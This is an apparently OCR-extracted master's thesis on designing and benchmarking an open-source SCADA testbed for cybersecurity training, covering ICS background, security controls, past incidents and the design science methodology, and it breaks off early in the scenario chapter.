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1 Introduction

Nowadays, cybersecurity in Industrial Control Systems (ICS) is gaining popularity. This in-
cludes any industrial process and infrastructure, e.g., wastewater treatment plants, nu-
clear plants, electric power distribution, turbines, railway systems. These systems, typi-
cally characterized by their obscure and proprietary protocols, and isolated networks, are
getting closer to traditional Information Technology (IT) systems; by adding IT capabilities
and replacing physical devices by "smart" ones.

A very common solution in the current ICS environment is the supervisory control and
data acquisition (SCADA) system. It is used to control and monitor industrial processes,
collecting real-time data from sensors, displaying the process information to the human
operators, and sending manual or autonomous orders to the actuators. For example,
SCADA systems can be found in modern electric power distribution infrastructures, recol-
lecting data from the smart meters to measure the level of consumption, and controlling
the allocation of electric energy.

Since testing in real ICS can be dangerous and expensive, testbeds have gained popu-
larity. Testbeds are testing infrastructures which simulates a real environment. The main
uses of such solutions are the vulnerability analysis, testing IDS products and educational
purposes. Despite this, there is a lack of open source testbeds or open source frame-
works to develop such testbeds. We ponder that this is a threshold for future students
and researchers.

Our motivation is to reduce this threshold.

1.1 Research Goal

The purpose of this research is to develop a testbed for SCADA systems, following a design
science research methodology. The testbed will be used for training, i.e., learning SCADA
basics and hacking techniques.

This way, it will allow future researches to have common procedures and metrics to
evaluate and compare old and future developments.

The final goal is to reduce the threshold needed to start learning and researching on
SCADA systems, which is very high due to the expensive hardware and the very specialized
sector.

Research in SCADA testbeds has became trending in current investigations. During the
literature review we have discovered gaps in previous researches, inconsistencies in the
methodologies applied by other authors, and a lack of mature and updated open source
projects. This shortfall of public knowledge is a big threshold for students and universities
to start researching on the field. For example, in the survey published by Holm et al. [19],
only a 25% of the studies come from Europe. Most of the studies found come from the
Mississippi State University and they are published by the same author, Thomas Morris.

In the work Stites et al. [43], the authors provide inconsistent metrics in order to prove
its value. The metrics provided do not focus on the ICS testbed but on the general testing
platform, which also includes different types of attacks such as spear phishing or social
engineering, hiding partially the results on our field of study. Besides, in Morris et al. [30],
the authors do not provide any metrics to defend their achievements in the educational
field. The only data provided is that the Mississippi State University has developed new
courses related to ICS security using their own testbeds.

Therefore, due to the gaps found in the usability, capability and performance mea-
surement of the testbeds, the lack of open source testbeds and the lack of consistent
metrics to prove its work, we can conclude there is still place to research and develop our



expected testbeds. Thus, the novelty of this research is the benchmark process and the
metrics used to evaluate the validity of any testbed development, either using previous
frameworks or a new design from the scratch.

In the study, meaningful processes and metrics will be provided, filling the gaps left
from other investigations. This benchmark and the results could help improving the testbeds
during their life-cycle, developing new testbeds more specialized or help the researchers
to follow a methodology to validate their solutions.

A design science methodology will be used to prove the validity of the testbed de-
veloped. In the research presented by Peffers et al. [35], the authors explain a six step
methodology. The process is structured in a nominally sequential order, in this case, this
research will use a problem-centered approach, starting with activity 1; however, there is
no expectation that researchers would always proceed in sequential order from activity 1
through activity 6. The planned stages are as follows:

1. Problem Identification and Motivation. There is a lack of open source projects,
focused on developing SCADA testbeds, following a consolidated methodology. This
causes a big threshold for the new users who want to get trained in the topic.

2. Objectives of the Solution. Extracting the requirements to build our solution, such
as the architecture or the metrics to validate them, and analyzing possible solutions
already created which may be valid for the research.

3. Design and Development. The actual specification, design and development of the
testbeds.

4. Demonstration. The proof of concept showing the testbeds work. This will be
shown by performing the attacks in the testbeds.

5. Evaluation. We will evaluate the performance of the testbeds using several metrics,
like the time required to deploy a single testbed or the minimum system require-
ments to work with no interference.

6. Communication. Reaching the conclusions and publishing the work of this Master
Thesis.

1.2 Roadmap

Chapter two contains the background information collected for the research as well as the
literature review used.

In chapter three, we will explain the methodology used to develop the proposed testbed.
This methodology follows a design science approach based on the work of Peffers et al.
[35], divided in six steps. This chapter structures the rest of the Master Thesis based on
these six phases, including the introductory chapter, which defines the state-of-the art of
security in ICS and identifies the initial problem for the research.

In chapter four, two different activities from the methodology are addressed. First, we
will define the objectives of the solution, analyzing the environment of SCADA testbeds to
find the current solutions and figuring out the minimum requirements our artifact should
have. Second, this chapter covers the design and development of the solution. This in-
cludes the design of the testbed scenario, the different iterations performed to reach the
final solutions and the issues found during its development phase. In this chapter we will
also discuss the possible features that can be measured and benchmarked in order to
provide validity to our investigation.



The chapter five will focus on the demonstration part of the methodology, with special
focus on the attacks in SCADA networks. It contains technical description of different at-
tacks and the different taxonomies used to classify them. We will discuss the advantages
and disadvantages of including some of these attacks in our scenario. A special case are
the denial of service attacks, which are real threats in real world systems but very com-
plex to handle and replicate in testbed scenarios. This chapter will show detailed proof of
concepts of the attacks implemented in our scenario.

After presenting our scenario and the possibilities it provides, in chapter six we will
evaluate our testbed, based on the design requirements from chapter four, in order to
validate our hypothesis. We will explain the tests applied to the scenario, describe our
procedures and present the results. In the chapter seven, we will discuss these results
and give some possible improvements for our testbed.

In chapter eight, we will present our conclusions about the results obtained and bring
forward our final thoughts about the research.

Based on the issues found along the research and the literature review on the topic,
chapter nine contains several research-lines for future investigation. Not only academic-
based topics will be illustrated, but also industry and commercial ones.



2 Background and literature review

Industrial Control Systems (ICS) is a general term that includes several types of control
systems, including the supervisory control and data acquisition (SCADA) systems, used to
control and monitor industrial processes; from critical services and industrial infrastruc-
tures, e.g., water purification, nuclear plants, chemical plants; to a single Programmable
Logic Controller (PLC) measuring the temperature inside an industrial oven. These sys-
tems collect data from the industrial processes, through sensors, and use it to control the
process itself, through actuators.

An ICS consists of a blend of control components, (e.g., logical, mechanical, electrical)
that work together pursuing an industrial goal, like transportation of resources or manu-
facturing a good. We can always distinguish two different parts in an ICS, the process and
the control. The first is concerned with producing the output while the second includes
the specification of the desired output or performance. This control can be fully auto-
mated or include humans in the loop. ICS control industrial processes are typically used
in chemical, food and beverage, electrical, manufacturing (e.g., aerospace, automotive),
oil and natural gas, pharmaceutical, transportation, and water and wastewater industries
[45].

2.1 ICS basics

Historically, ICS had little resemblance to traditional information technology (IT) systems;
using specialized software and hardware or having isolated systems running proprietary
protocols, such as physically secured areas where the components were not directly con-
nected to IT networks or systems.

Nowadays, due to the widely available low-cost Internet Protocols (IP) devices, the pro-
prietary solutions are being replaced, which increases the likelihood of cybersecurity risks
and incidents. ICS are starting to resemble IT systems, by adopting solutions to achieve
high connectivity for the corporate business and remote access capabilities (e.g., indus-
try standard computers, networks and operating systems). Many of today’s ICS evolve
from the addition of this IT capabilities into existing physical systems; either replacing or
supplementing physical control mechanisms, resulting in many of today’s "smart" tech-
nologies such as the smart electric grid, smart buildings, smart manufacturing, and smart
transportation.

ICS topologies are now mixed with the corporate networks, creating a huge and com-
plex landscape, using different devices and protocols. In Figure 1 there is an example of
a SCADA implementation topology. The field devices are connected to the primary con-
troller, where the data is stored and analyzed; in addition, this network is connected to
the corporate environment and a secondary controller.

This integration provides significantly less isolation from the outside world than pre-
vious models. For example, the use of wireless Internet of Things (loT) network devices
within the ICS increases the risk of attacks coming from adversaries who are in close physi-
cal proximity but do not have direct access to the system. All of this creates a greater need
of resources for the adaptability, resilience, safety, and security of ICS. There is a wide list
of considerations that should be included in ICS security:

1. Physical effects. ICS devices are directly responsible of controlling physical pro-
cesses, which implies very complex interactions and consequences in the physical
domain.

2. Time and performance requirements. ICS are generally time-critical and some sys-
tems require reliable, deterministic responses. High performance is typically not
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Figure 1 - Example of a SCADA implementation. Figure from [45].

essential to ICS. In contrast, IT systems typically require it, although they can typi-
cally withstand some level of delay.

. Availability requirements. Unexpected failures of systems that control industrial
processes are not acceptable. Outages must be planned and scheduled in advance.
Control systems cannot be easily restarted without affecting the production, mean-
ing that IT strategies such as rebooting a component, are usually not acceptable due
to the adverse impact on the requirements.

. Technologies. ICS control networks and operating systems (OS) are often quite dif-
ferent from IT counterparts, and many times proprietary owned technologies. This
requires different skill sets, experience, and levels of expertise.

. Resource constraints. ICS and their legacy systems are usually resource-constrained
systems that do not include typical contemporary IT security capabilities, such as
encryption capabilities, error logging or authentication mechanisms. The use of
this capabilities might affect the availability and produce timing disruptions.

. Risk Management Requirements. In traditional IT systems, data confidentiality and
integrity are the primary concerns. For an ICS is not the same, human safety and
fault tolerance are the primary concerns.

. Change Management. Change management defines a paradigm to maintain the
integrity of both IT and ICS. Software can’t be made one hundred percent secure,
this represents one of the greatest vulnerabilities to a system. Software updates on
ICS usually cannot be implemented on a timely basis, they need to be thoroughly
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tested, planned and scheduled (with its correspondent outage) before being im-
plemented. Additionally, many ICS use older OS versions that may no longer be
supported by the vendor.

8. Interoperability. Service support is often provided via a single vendor, which may
not support solutions from another vendor. In some cases, third-party security so-
lutions are not allowed due to ICS vendor service agreements or licenses.

9. Components lifetime. Traditional IT components usually have an average lifetime
of 3to 5years. InICS, due to the specific use and implementation, the lifetime of the
deployed technology is often in the order of 10 to 15 years and sometimes longer.

10. Components location. IT components are often located in business or commercial
facilities. ICS may be isolated, remote or require complex transportation to reach.

Therefore, security solutions, usually designed for typical IT systems, must take special
precautions in ICS environments. Although ICS contain some characteristics similar to tra-
ditional information systems, they present serious differences; many of them are due to
the fact that logic executing in ICS has a direct effect on the physical world. This means that
any cybersecurity incident in ICS can be a significant risk to the health and safety of human
lives, a serious damage to the environment, or even produce a negative impact to a na-
tion’s economy. Furthermore, ICS have unique performance and reliability requirements,
and unconventional protocols and operative systems. Some balance is need between the
security goals and efficiency in the design and operation of control systems.

2.2 ICS security

Threats to ICS can come from several sources, including malicious intruders, terrorist
groups, hostile governments, accidents, natural disasters or even accidental or malicious
actions by insiders. ICS security objectives typically follow the priority of availability and
integrity, followed by confidentiality. It is more severe that an attacker is able to inject
malicious packets to affect the performance of a power plant than reading sensitive data
from the network.

To achieve these objectives, a defense-in-depth strategy should be applied, layering
security mechanisms such that the impact of a failure in any one mechanism is minimized.
The following controls should be included:

1. Restrict the logical access. Limit the connectivity to the internal ICS network. This
may include a demilitarized zone (DMZ) network, unidirectional gateways, firewall
layers to split the ICS network from the corporate one or using different authenti-
cation mechanisms for each network.

2. Restrict the physical access. Unauthorized physical access to the ICS components
can cause serious damage in the performance and functionality. This includes locks,
access cards or security guards.

3. Protect the components from exploitation. Including the deployment of security
patches, disabling unused ports and services, restricting ICS user privileges, mon-
itoring audit trails and using endpoint security protections, such as antivirus soft-
ware.

4. Restrict unauthorized modification of data. This includes data in transit and at rest.
Encryption solutions should be in placed. Establishing role-based access control and
configuring each role based on the principle of least privilege.
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5. Detect security events and incidents. In order to detect possible incidents occurred
by failed ICS components or external attacks, monitoring capabilities are necessary.

6. Maintain the performance during adverse conditions. ICS should be design so that
each critical component and network is redundant in case of failure. Furthermore,
if a component fails, it should do it in a manner that does not generate unnecessary
traffic, or does not cause a cascade effect.

7. Restore the system after an incident. Incidents are inevitable, so a well-defined
incident response plan is essential. How quickly the systems can be recovered is
sign of good security.

8. Provide standard procedures. Developing security policies, procedures, training
and educational material eases the task of controlling and operating ICS. Industrial
standards and certifications should be used to prove the implementation of security
mechanisms.

These measures are important due to the increase of attacks in the ICS environment
and its consequences. For example, in 2014, the ICS Cyber Emergency Team (ICS-CERT)
responded to 245 incidents. To show the impact of these attacks, some remarkable ex-
amples of ICS incidents are described below.

In 2007, the Idaho National Laboratory ran the Aurora Generator Test to demonstrate
how a cyberattack could destroy physical components in the electric grid. First, the at-
tacker gained access to the control network of a diesel generator. Then, a malicious soft-
ware was executed to open and close the circuit breakers of the generator, causing an
explosion of the diesel generator.

In 2008, a pipeline in Turkey was hit by an explosion, spilling over thousands of barrels
of oil in an area above a water aquifer and costing the British Petroleum about $5 mil-
lion a day in transit tariffs. The attackers exploited vulnerabilities of the wireless camera
software, moved laterally, spoofed the traffic to the control systems and compromise the
PLCs to increase the pressure, causing the explosion.

One of the most known examples is the Stuxnet worm, used in 2010 to infect PLCs in
several industrial sites. The 60% of these infections were in Iran, including an uranium
enrichment plant. The root of the infection was via malicious USB flash drive. The worm
propagated through the network by exploiting unpatched vulnerabilities. One of the final
goals of the worm was reprogramming the PLCs to modify the operation of the uranium
centrifuges to tear themselves apart, causing a delay in the Iranian nuclear program from
one to three years [26].

From the political perspective, ICS are gaining more relevance in the European Union
(EVU). The European Programme for Critical Infrastructure Protection (EPCIP) was pub-
lished in 2004 to identify critical infrastructures and protect them from incidents or at-
tacks. Furthermore, according to the directive EU COM(2006) 786; all member states
should adopt the components of the EPCIP into their national statutes. For example, an
Operator Security Plan (OSP) must be designed for each designated European Critical In-
frastructures (ECI); which covers the identification of critical assets, threat-models and risk
analysis, and the selection of the priority counter-measures [1].

2.3 SCADA Basics

One of the most common type of ICS is the supervisory control and data acquisition
(SCADA). It collects the data in real-time, displays it to the user through a Human Ma-
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chine Interface (HMI) and allows to control these processes using limited commands. It
can also contain a Histogram, where the old data is stored. Maynard et al. [31], divide
its architecture in three layers to abstract the different parts in a SCADA system: layer O,
Process; layer 1, Control; and Layer 2, Supervisory. In the Figure 2 we can see a diagram
with the described SCADA 3-layer architecture.

In their study, we can find an example of a simple SCADA system; a gas pipeline. The
pipeline valves release air pressure from the pipeline automatically and they are con-
nected to a control device. The HMI, connected to this control device, displays the pres-
sure of the pipeline; an operator can modify the maximum and minimum values the sys-
tem can reach, which means setting the parameters for the physical valves.

RS —— Physical
|y . 1 Pl e
Level2 | istorian M| [Virual |
e Network T _
Level 1 .[ . :|_ 5 J- |“L‘|
PLC |PLG| RTU IRTU|
[ —— | [ Q— )
| ‘i r - 'i
Level 0 | Sensor | Sensor ! Actuator | Actuator :
. I

Figure 2 - SCADA architecture in three levels, from Maynard et al. [25]

Another example is found in the electrical power transmission and distribution indus-
try. They use geographically distributed SCADA control systems to operate highly intercon-
nected networks consisting of thousands of public and private utilities and rural assets for
supplying electricity to end users. SCADA systems are also used to monitor and control oil
and natural gas distribution, including pipelines, ships, trucks, and rail systems, as well as
wastewater facilities.

As a case of study, the electric industry is often one of the most prevalent sources of
disruptions of interdependent critical infrastructures. For example, a cascading failure can
be initiated by a disruption of the microwave communications network used for an electric
power transmission SCADA system. The lack of monitoring and control capabilities could
cause a particular area to be taken offline, an event that would lead to loss of power and
economic consequences. Furthermore, this loss of power could cause a major imbalance,
triggering a cascading failure across the power grid, resulting in large area blackouts that
could potentially affect other industries, like oil or natural gas production, that rely on the
grid for electric power.

A typical ICS contains numerous control loops, human machine interfaces, and remote
diagnostics and maintenance tools built using an array of network protocols on layered
network architectures. A control loop uses sensors, actuators, and controllers (e.g., PLCs)
to manipulate some controlled process. A sensor is a device that produces a measurement
of some physical property and then sends this information to the controller.

The controller reads the signals and generates the corresponding commands, based
on a control algorithm and target set points, which are transmitted to the actuators. Ac-
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tuators such as control valves, switches, and motors are used to directly manipulate the
controlled process based on commands from the controller.
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Figure 3 - HMI visualization using the PROMOTIC software tool [36]

Operators and engineers use human machine interfaces to manually monitor and con-
figure the threshold points, control the algorithms, and to adjust and establish parameters
in the controller. The human machine interface also displays process status information
and historical information. In the Figure 3, an example of a market HMI software is shown,
operators use this kind of interface to interact with the SCADA system. Diagnostics and
maintenance utilities are used to prevent, identify, and recover from abnormal operation
or failures [45].

2.4 Security Trends in ICS

At the beginning, SCADA security was based in isolation and obscurity. Nowadays, these
SCADA systems are not isolated from the Internet anymore, allowing remote access; they
also integrate new technologies, such as Internet-of-Things or cloud computing; all of it
leading to an increase of attacks [50, 44].

One emerging security trend in ICS are the intrusion detection systems (IDS). During
the past years some authors have presented deterministic approaches for the detection
system, following the same trends as in non-ICS security. First, authors focus on deter-
ministic approaches like Hadeli et al. (2009) [18], Morris et al. (2013) [33] or Stoian et al.
(2014) [44]; afterwards, anomaly detection, e.g., Li et al. (2015) [22] and finally machine
learning approaches, e.g., Maglaras (2018) [24].

Since testing real ICS can be dangerous and/or expensive, due to the criticality and
the cost of replicate them; many researches have focus on testbeds [31, 4, 5]. Testbeds
are testing infrastructures which simulates the real environment. Their use can be wide,
as described by Holm et al. [19], e.g., vulnerability analysis, educational purpose, testing
defensive mechanisms or honeynets.

15



2.5 Security Trends in Testbeds

For this section, we focus on the objective classification to understand the actual trends
the academia is following.

In the study published by Holm et al. [19], the authors identify 30 different testbeds and
classify them depending on the objective, the implementation of their components and
their requirements. In this case, the study concludes that the most common objectives to
use testbeds are vulnerability analysis (50% of the studies), educational purposes (30%)
and testing security mechanisms (30%).

The authors also remark the lack of studies related to the performance analysis in the
testbeds and point that the objectives from the studies are described on a very superficial
level, meaning the authors need to tackle the topics in a more tangible manner.

Another topic that is not covered properly is the creation of frameworks to implement
the testbeds, i.e., using common standards and methodologies to develop testbeds; as
seen in the survey, only one work out of thirty focus on it.

This might be useful for new researchers who need a first insight of the process and
can establish the baselines for new projects.

In the study presented by Alves et al. [5], the authors propose a modular approach to
replicate SCADA systems using a virtualized environment, making it low cost and portable.
They split the infrastructure into five major components, unlike Maynard et al. [25] who
only differentiate three levels. First, by adding the physical process as a new entity, and
second, separating the level 1into SCADA network and the edge controllers.

In Maynard et al. [25] we find a recent study which shows a new open source frame-
work to implement, develop and deploy testbeds. This paper breaks with the old re-
searches by finally providing a tangible study on the requirements of a testbed to develop
an useful framework, and it becomes one of the first works which publish some code un-
der GNU license version 3. In the study, the authors presented a framework to compile,
orchestrate and operate SCADA networks and infrastructures.

We can mention some other studies in the testbed field related to topics we are not re-
ally focused, such as vulnerability discovering, security mechanisms or performance anal-
ysis. Related to vulnerability discovering we can find the work presented by Reaves and
Morris [39], where the authors analyze the different vulnerabilities found using their own
HIL testbed; related to security mechanisms, the study published by Gao and Morris [17]
presents a signature-based intrusion detection system; and related to performance anal-
ysis and validation: in Alves et al. [4], the authors compare a physical replicated tested
with a virtual one, concluding that both have similar performances, but depending on the
attack to study one approach is better than the other one; in Reaves and Morris [40], the
authors validate the fidelity of a python-based testbed.

In the educational ambit, we find a study presented by Stites et al. [43], where the
authors develop a test platform in the cloud to perform training exercises, composed by
several machines and challenges, integrating a SCADA testbed. Another two studies, pub-
lished by Morris et al. [30, 31] show that testbeds are used in the Mississippi State Uni-
versity for courses specialized in industrial control systems.
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3 Methodology

An information system (IS) is a formal, sociotechnical and organizational system designed
to collect, process, store, and distribute information. An emphasis is placed on an informa-
tion system having a definitive boundary, users, processors, storage, inputs, outputs and
the communication networks of hardware and software [20]. IS is an applied research
discipline, in the sense that we often apply theory from other disciplines, like computer
science, economics, mathematics, social sciences and others, to solve problems which
intersect with the information technology [28].

Avison and Elliot [10] define the term information system as the scientific field of study
of strategic, management, and operational activities involved in the gathering, process-
ing, storing, distributing, and use of information; and its associated interconnections in
organizations and society. They use it to describe any organizational function that applies
IS knowledge in industry, government agencies, and not-for-profit organizations. This in-
volves the technology an organization uses and the way in which this technology works
with the business processes.

Therefore, the domain of study of IS includes the theories and practices related to the
social and technological phenomena, which determine the development, use, and effects
of information systems in organizations and society. The authors conclude that even there
might be a considerable overlap of the disciplines at the boundaries, these disciplines are
still differentiated by the focus, purpose, and orientation of their activities.

Information systems typically include an IT components but are not purely concerned
with them, focusing instead on the end use of the information technology. In our case, we
will design and develop a computer-based information system. Rainer et al. [38] define it
as an IS using computer technology to carry out some or all of its planned tasks.

The basic components of computer-based information systems are:

e Hardware. This term refers to machinery. This category includes the computer itself
and all of its peripheral devices, e.g., Input-Output devices, storage devices and
communications devices.

e Software. It refers to the computer programs (used to accept, process and display
data) and the documentation that support them.

¢ Networks. The connecting systems which allows the devices to distribute resources.
e Data. The facts that are used by programs to produce useful information.

e Procedures. The policies that govern the operation of a computer system, such
as the actions for combining the components above to process information and
produce the preferred output. A typical analogy to illustrate the role of procedures
is: "Procedures are to people what software is to hardware"

e People. System needs people to make them useful and often it is the component
that most influence the success or failure of information systems. It does not only
refer to the users, but includes anyone who interacts with the IS components, such
system administrators, network operators, data maintainers...

Our computer-based information system is the gamified SCADA scenario. By design, a
SCADA system could be considered an IS: it performs tasks of collecting, processing and
distributing data; it defines roles in the scenario such as network operator or data analyst;
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it requires organizational policies in order to communicate the information and make de-
cisions between the industrial part and the business one. The gamification goal defines
new roles, processes, interactions and also creates new layers of data managed by the IS.

As seen, information systems are a wide research field and we need an accepted com-
mon framework in order to validate our work. This is achieved by a mental model which
provides contexts in which researchers, readers and reviewers can understand and evalu-
ate the work of others. For example, if a researcher following an empirical methodology
fails to describe how the data was gathered, the reviewers would require a correction.

A methodology is a system of principles, practices, and procedures applied to a specific
branch of knowledge. Such a methodology helps IS researchers to produce and present
high-quality research in IS that is accepted as valuable, rigorous, and publishable in IS
research outlets. In this work we are going to use the methodology presented by Peffers
et al. [35]

In their work, the authors develop a design science research methodology (DSRM) for
the production and presentation of a design science (DS) research in IS. This effort con-
tributes the field by providing a commonly accepted framework for successfully carrying
out a DS research and a mental model for its presentation, i.e., a template for a structure
for research outputs. It should help to recognise a DS research: its objectives, processes,
and outputs; as well as help researchers to present their investigation with reference to a
commonly understood framework, rather than justifying the research paradigm on an ad
hoc basis with each new paper.

Peffers et al. compare the acceptation of design as a valid research methodology in the
engineering disciplines and the explicitly applied character of IS within its business pro-
cesses; concluding that IS should also be evaluated by the same conceptual principles. The
authors develop a methodology which defines practice rules, and a process for carrying
out and presenting the research.

In their literature review, the authors show that a number of researchers, both in and
outside of the IS field, have tried to provide some guidance to define DS research. How-
ever, so far that literature has not explicitly focused on the development of a methodology
for carrying out this DS research and presenting it.

Without a methodology that produces explicitly applicable research solutions, IS re-
search faces the risk of losing influence over other research streams for which such ap-
plicability is an important value. For example, design (the act of creating these explicitly
applicable solutions to a problem) is a valid research paradigm in other disciplines, such
as engineering, but it has not been used often in IS research papers to produce artifacts
that are applicable to research or practice.

As mentioned above, science research outcome is different than the engineering re-
search one. Depending on the degree of generalization-realism of the science of study,
the outcome and processes will vary. In Figure 4, we can appreciate the classification of
the different sciences based on the degree of generalization (from a single case to univer-
sal generalization) and the degree of realism (from idealized conditions to the conditions
of the practice).

The science approach always follows the same structure: analysis, argumentation, jus-
tification and critical evaluation; trying to prove or dismiss an hypothesis. From the engi-
neering perspective, the key values are the contribution as the IT product itself and the
development process. This allows focusing in creative and innovative products, more ef-
ficient and effective, and best practices for the development, which is usually similar in
many cases [48].
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Figure 4 - Generalization-Realism classification of the different sciences. Figure from [48].

Examples of IT product contribution are: developing an automatized agent for tier 1
of incident handling, or creating an IT application which uses a theory or method from
another field, for instance a cyber security education platform that adapts an evaluation
method (or theory) from education science. If the focus is put under the development
process; using an object oriented technique for the development of web based system,
or using a scripting language for a forensic tool, are clear examples of this.

In our case, we have prioritize the IT product, in terms of creating a testbed solution
which accomplish several requirements we defined as minimum, in order to have a stable
product simple enough to start learning about SCADA systems and complex enough to
allow researchers conduct new experiments. We have also prioritize the development
process, in terms of following a development methodology to validate our solution and
having a common framework to evaluate the performance.

3.1 Design Science (DS)

DS research comes from a history of design as a component of engineering and computer
science research, while action research originates from the concept of the researcher as
an “active participant” in solving practical problems in the course of studying them in
organizational contexts, implying less investment on the investigation and more attention
to the final product. In DS research, design and the proof of its usefulness is the major
component, while in action research, the focus of interest is the organizational context
and the active search for problem solutions therein.

At this point, Peffers et al. raise an interesting question about whether the DSRM could
be used in an action research study. This refers to whether action research and DS research
could be conceptually and methodologically integrated. The authors conclude that there
are elements of the DSRM intended to support DS research characteristics that might not
always apply well to design in practice. For example, a design artifact such as a curved
staircase, does not necessarily require new knowledge that would be conveyed to an au-
dience through a scientific publication outlet. There may be organizational, regulatory, or
other reasons why some level of design research may be required, however, not in terms
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of DSRM.

To develop the methodology proposed, Peffers et al. evaluated four different studies as
representatives of the different entry points for DSRM. They seek common elements from
previous literature and from these case studies to build well-accepted principles where to
base the DSRM on. Finally, the authors agree on a process model consisting of six activities
in a nominal sequence, as seen in Figure 5.
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Figure 5 - Six step methodology proposed by Peffers et al.. Figure from [35].

The six activities proposed by Peffers et al. are explained below:

1. Problem identification and motivation. The first activity consists in defining the
specific research problem and justify the value of a solution. By this, we achieve two
things: it motivates the researcher and the audience to pursue its research goal and
it helps to understand the reasoning associated with the researcher’s understanding
of the problem.

The resources required for this activity include the knowledge of the state of the
problem and the importance of its solution. Identified problems do not necessar-
ily translate directly into objectives for the artifact because the process of design is
necessarily one of partial and incremental solutions. Consequently, after the prob-
lem is identified, there remains the step of determining the performance objectives
for a solution.

For our research, the problem is threshold created by the lack of open source projects
designed to learn SCADA basics and hacking techniques. Our motivation is to fill this
gap by developing a testbed using an existing framework and defining a benchmark
process, using a DSRM, to validate it.

2. Define the objectives for a solution. The second activity infers the objectives of a
solution from the problem definition and knowledge of what is possible and fea-
sible. The objectives can be quantitative, such as the percentage of improvement
from other solutions, or qualitative, such as the description of new features to sup-
port problems not addressed before.

The objectives should be gathered rationally from the problem specification. The
resources required include the knowledge of the state of problems and the current
solutions, if any, and their efficacy.
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For our research, we will set qualitative and quantitative requirements. The quan-
titative ones are easy to measure, e.g., maximum number of concurrent users con-
nected to the testbed, or CPU consumption along the run-time execution. The qual-
itative requisites will help us defining the quantitative measures; for example, the
ease of use of the testbed can be defined by the flexibility of the solution and the
ease of deployment (measured in time).

3. Design and development. Conceptually, a design research artifact can be any de-
signed object in which a research contribution is embedded in the design. The third
activity includes determining the artifact’s desired functionality and its architecture,
and then creating the actual artifact. The resources required to move from the pre-
vious activity include the practical and theoretical knowledge that can be brought
to bear in a solution.

For our research, we discuss first whether we can use an existing framework or
solution, or we have to develop one from the scratch. Then, according to this result
and the requirements defined, we establish the different evaluation metrics and
concrete the architecture and scenario of our testbed.

4. Demonstration. The fourth activity demonstrates the use of the artifact to solve
one or more instances of the problem. This may vary between a single act of demon-
stration to a more formal evaluation. The resources required for the demonstration
are the effective knowledge of how to use the artifact to solve the problem.

For our research, in this step we will show the main operation of the developed
testbed, simulating an autonomous SCADA system, as well as the attacks imple-
mented.

5. Evaluation. The fifth activity observes and measures how well the designed artifact
supports a solution to the problem. This involves comparing the objectives defined
to the actual observed results from the use of the artifact in the demonstration. It
requires knowledge of relevant metrics and analysis techniques.

Evaluation could include items such as a comparison of the artifact’s functionality
with the solution objectives, the results of surveys conducted or quantifiable mea-
sures of system performance, such as response time or availability.

At the end of this activity the researchers can choose whether to iterate back to the
design and development activity to improve the effectiveness of the solution, or to
continue to the next activity and leave improvement for the following projects.

For our research, we will measure the metrics defined in the step three and present
different cases and iterations, in order to compare them and watch the progress of
our solution.

6. Communication. The sixth and last activity consists in communicating appropriately
all the previous activities and their outputs, including the problem and its impor-
tance, the solution proposed or the rigor of the research. Communication requires
the knowledge of the disciplinary culture.

For our research, the communication part will be the presentation of this Master
Thesis work and its expected defense.

The authors also indicate this process might not be in sequential order, there is no
need that researches must always proceed from activity 1 through activity 6. They may
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start at almost any step and move outward, leading to different approaches to tackle the
research:

1. A problem-centered approach, starting with activity 1. Researchers might proceed
in this sequence if the idea for the research resulted from observation of the prob-
lem or from a suggested future research in a prior project.

2. An objective-centered solution, starting with activity 2, could be triggered by an
industry or research need that can be addressed by developing a new solution.

3. A design and development-centered approach, starting with activity 3, resulting
from the existence of an artifact that has not been thought as a solution for the
explicit problem domain. Such an artifact might have come from another research
domain, it might have already been used to solve a different problem, or it might
have appeared as an analogical idea.

4. Finally, a client/context-initiated solution, starting with activity 4, may be based on
observing a practical solution that worked; resulting in a DS solution if researchers
work backward to apply rigor to the process.

This four approaches concur with the four cases of study used by Peffers et al. to proof
the validity of their methodology. In our case, we will use a problem-centered approach,
starting with the first activity (problem identification and motivation), already discussed
in the chapter one of this Master Thesis, and moving forward.

This work will be structured following the six-step methodology explained above. Chap-
ter one and two take over the identification of the problem and motivation; chapter three,
the current one, explains the methodology used; chapter four gathers the objectives and
requirements, as well as the design and development of the solution; chapter five con-
tains the proof of work of the testbed and the implemented attacks; chapters six and
seven show and discuss the results of the evaluation process; finally chapters eight and
nine include the communication step through the conclusions and future work.
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4 Scenario

In this chapter we are going to define the objectives of our testbed, as well as design and
develop it. This will cover the steps two and three from the science design methodology,
defining the objectives for the artifact and designing and developing it, respectively.

The goal of the research is to develop a testbed solution to practice attacks in a gam-
ification scenario, also called cyber range. This type of scenario help users to learn theo-
retical and practical hacking techniques in a simulated environment.

In the study presented by Yamin et al. [49], the authors perform a literature review
on testbeds for cyber ranges. A cyber range is an environment that aims at providing a
training playground in order to practice and learn security issues. The study presents a
taxonomy to classify and evaluate the current literature in five main topics: monitoring,
scoring, teaming, scenario and management.

In our case, we are focusing in the management, more specifically in the resource man-
agement subtopic, focused on the resource requirements, performance and usability of
the testbeds. Through this evaluation, we can provide a benchmark process to validate
our solution and similar ones.

We extract some metrics other authors have used to prove the validity of their testbed
developments, e.g., the time to construct the environment or the time to perform all the
possible tests in the scenario, however we have found the list of metrics very short and
inefficient.

For example in Vigna et al. [46], the authors do not provide any valid metric to prove
their solution; in Lemay et al. [21], the authors only metric is a survey to the students
with three options (adequate, good and very good); or in Reaves and Morris [40], the
performance is measured in terms of protocol-level accuracy, based on the SCADA spec-
ifications, like packet size, response time or percentage of invalid CRC. This last approach
is not useful for us, as we have assumed that there is no need of replicating the SCADA
network with the same level of accuracy. We will discuss further this topic in the scenario
architecture section, where we present the different approaches to build our testbed, in-
cluding virtualization or real hardware replication; depending on the approach we can
expect some features in the testbed solution.

Supporting this perspective, Yamin et al. conclude that in the future it is necessary
to focus on the efficiency of the testbeds, i.e., improving the deployment and execution
of the scenarios; and also developing a benchmark to conduct comparisons between the
developed security testbeds. This aligns with our research topic, trying to establish valid
metrics to prove the performance and usability of a testbed.

4.1 Objectives and requirements

The purpose of this research is to develop a SCADA testbed to be used by students, teach-
ers and researchers. This creation process will follow a DSRM in order to prove its validity.
To accomplish it, we have defined two types of requirements: quantitative and qualitative,
that will indicate whether the solution is valid or not.

The qualitative requirements indicate the main features the testbed must have. In our
case, as we expect the testbed to be used by non-expert users, like students; the solution
should be easy to use. We consider this capability very important, due to the fact that a
very complex solution will reduce the motivation of whoever wants to learn or research.
To measure this qualitative requirement, we have defined two quantitative requisites:
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ease of deployment and flexibility.

The ease of deployment is the speed needed for the system to build and run the
testbed, allowing the user to start interacting with it. This quantitative requirement can
